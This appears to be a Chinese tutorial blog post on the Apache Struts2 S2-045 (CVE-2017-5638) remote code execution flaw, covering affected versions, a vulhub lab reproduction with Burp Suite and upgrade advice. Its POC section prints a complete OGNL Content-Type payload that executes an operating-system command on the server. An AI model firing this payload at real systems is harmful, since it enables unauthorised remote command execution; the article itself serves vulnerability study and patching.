Struts S2-045漏洞是什么?它对系统安全有哪些潜在威胁?

Apache Struts2的S2-045漏洞是一种高危远程代码执行漏洞,其编号为CVE-2017-5638,该漏洞在使用基于Jakarta插件的文件上传功能时,通过修改HTTP请求头中的Content-Type值来触发,从而可能导致系统被黑客入侵,以下是关于Struts S2-045漏洞的详细介绍:

Struts S2-045漏洞是什么?它对系统安全有哪些潜在威胁?插图1

漏洞详情

项目 详细信息
漏洞编号 S2-045
CVE编号 CVE-2017-5638
漏洞类型 远程代码执行
漏洞级别 高危
漏洞风险 黑客可以通过利用该漏洞实现远程命令执行,获取操作系统及数据库权限
影响版本 Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10

环境准备

1、Docker环境及vulhub靶场:用于搭建测试环境。

2、Burp Suite抓包工具:用于抓取和修改HTTP请求包。

漏洞复现步骤

1、启动Docker环境:使用Docker启动vulhub/struts2:2.3镜像,并映射本地的8080端口。

2、访问Web页面:在浏览器中访问http://your-ip:8080查看上传页面。

Struts S2-045漏洞是什么?它对系统安全有哪些潜在威胁?插图3

3、抓包与修改:使用Burp Suite抓包工具抓取数据包,修改Content-Type字段为恶意构造的值。

4、发送请求:发送修改后的数据包,观察响应数据的变化,验证漏洞是否被成功触发。

POC示例

Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

修复建议

1、升级Struts2版本:将Struts2升级到2.3.32或2.5.10.1版及以上版本。

2、切换文件上传解析器:如果不使用Jakarta插件的文件上传功能,可以考虑切换到其他实现文件上传功能的解析器。

Struts S2-045漏洞是什么?它对系统安全有哪些潜在威胁?插图5

Struts S2-045漏洞是一个严重的安全漏洞,通过简单的HTTP请求头修改即可触发远程命令执行,建议用户尽快升级到修复后的Struts2版本,以降低潜在的安全风险。

各位小伙伴们,我刚刚为大家分享了有关struts S2-045漏洞的知识,希望对你们有所帮助。如果您还有其他相关问题需要解决,欢迎随时提出哦!

本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/88909.html

小末小末
上一篇 2024年11月2日 17:06
下一篇 2024年11月2日 17:33

相关推荐